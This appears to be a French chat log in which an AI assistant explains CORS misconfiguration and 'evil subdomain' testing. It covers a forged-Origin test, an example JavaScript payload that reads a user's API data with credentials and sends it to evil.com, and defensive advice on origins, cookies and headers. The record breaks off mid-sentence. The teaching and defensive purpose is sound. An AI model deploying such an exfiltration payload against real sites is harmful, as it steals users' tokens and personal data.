Conversation avec Arnaud AMBA IA
Conversation avec Arnaud AMBA IA
CORS evil subdomain test
Arnaud AMBA IA
Le **CORS (Cross-Origin Resource Sharing)** et les tests liés aux **"evil subdomains"** sont des concepts avancés en sécurité web, souvent utilisés pour évaluer la robustesse des configurations de sécurité d'une application, notamment contre des attaques comme le **CSRF (Cross-Site Request Forgery)** ou le **vol de données**. --- ### **1. Qu'est-ce qu'un "Evil Subdomain Test" ?** Un **evil subdomain** (sous-domaine malveillant) est une technique où un attaquant exploite un sous-domaine légitime mais mal configuré pour contourner les restrictions CORS ou voler des données. Voici comment cela fonctionne : - **Scénario** : Un site principal (ex: `https://mon-site.com`) autorise les requêtes CORS depuis un sous-domaine (ex: `https://api.mon-site.com`). - **Attaque** : Si un attaquant parvient à créer un sous-domaine malveillant (ex: `https://evil.mon-site.com`) ou à exploiter une faille dans un sous-domaine existant (ex: `https://vulnerable.mon-site.com`), il peut : - Envoyer des requêtes **authentifiées** vers l'API principale en exploitant les headers CORS mal configurés. - Voler des données sensibles (cookies, tokens, informations utilisateur). - Exécuter des actions non autorisées (changement de mot de passe, virement bancaire, etc.). --- ### **2. Comment tester la vulnérabilité d'un site ?** Voici une méthodologie **éthique** pour tester la résistance d'un site aux attaques via **evil subdomains** et CORS : #### **Étape 1 : Identifier les sous-domaines vulnérables** - Utiliser des outils comme **Sublist3r**, **Amass** ou **DNSDumpster** pour lister les sous-domaines d'un domaine cible. - Vérifier si certains sous-domaines sont **mal configurés** (ex: hébergés sur des services tiers non sécurisés, comme des buckets S3 publics). #### **Étape 2 : Tester la configuration CORS** - Envoyer une requête HTTP avec un header `Origin` forgé pour simuler un sous-domaine malveillant : ```http GET /api/data HTTP/1.1 Host: mon-site.com Origin: https://evil.mon-site.com ``` - Observer la réponse : - Si le header `Access-Control-Allow-Origin` retourne `https://evil.mon-site.com`, le site est **vulnérable**. - Si le header `Access-Control-Allow-Credentials: true` est présent, l'attaque peut voler des **cookies ou tokens**. #### **Étape 3 : Exploiter une vulnérabilité (éthique uniquement)** - Si un sous-domaine vulnérable est identifié (ex: `https://vulnerable.mon-site.com`), tester si : - Il permet d'héberger du code JavaScript malveillant. - Il peut envoyer des requêtes vers l'API principale avec des credentials (cookies, tokens). - Exemple de payload pour voler un token : ```javascript fetch("https://mon-site.com/api/user", { method: "GET", credentials: "include" // Envoie les cookies }) .then(response => response.json()) .then(data => { // Envoyer les données à un serveur contrôlé par l'attaquant fetch("https://evil.com/steal?data=" + JSON.stringify(data)); }); ``` --- ### **3. Comment se protéger ?** Voici les **bonnes pratiques** pour sécuriser un site contre les attaques via **evil subdomains** et CORS : #### **Pour les développeurs :** ✅ **Limiter les origines autorisées** : - Ne jamais utiliser `Access-Control-Allow-Origin: *` pour des requêtes avec credentials. - Autoriser uniquement les sous-domaines **stricts** et **vérifiés** : ```http Access-Control-Allow-Origin: https://api.mon-site.com Access-Control-Allow-Credentials: true ``` ✅ **Utiliser des tokens CSRF** : - Implémenter des tokens CSRF pour valider les requêtes sensibles (ex: changement de mot de passe). ✅ **Configurer les cookies de manière sécurisée** : - Utiliser les flags `SameSite=Strict` ou `SameSite=Lax` pour les cookies sensibles. - Limiter la portée des cookies aux sous-domaines nécessaires : ``` Set-Cookie: sessionId=abc123; Domain=.mon-site.com; Secure; HttpOnly; SameSite=Strict ``` ✅ **Vérifier les sous-domaines tiers** : - Éviter d'héberger des sous-domaines sur des services tiers non sécurisés (ex: GitHub Pages, buckets S3 publics). - Utiliser des **Content Security Policy (CSP)** pour bloquer les scripts malveillants. ✅ **Désactiver les méthodes dangereuses** : - Bloquer les méthodes HTTP sensibles (`PUT`, `DELETE`, `PATCH`) via CORS si elles ne sont pas nécessaires. #### **Pour les entreprises :** ✅ **Auditer régulièrement les sous-domaines** : - Utiliser des outils comme **Burp Suite**, **OWASP ZAP** ou **Nuclei** pour détecter les sous-domaines vulnérables. - Supprimer les sous-domaines inutilisés ou obsolètes. ✅ **Former les équipes** : - Sensibiliser les développeurs aux risques CORS et aux attaques via sous-domaines. ✅ **Utiliser des headers de sécurité** : - Ajouter des headers comme : ``` Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY ``` --- ### **4. Outils pour tester la sécurité CORS** Voici qu
Arnaud AMBA IA
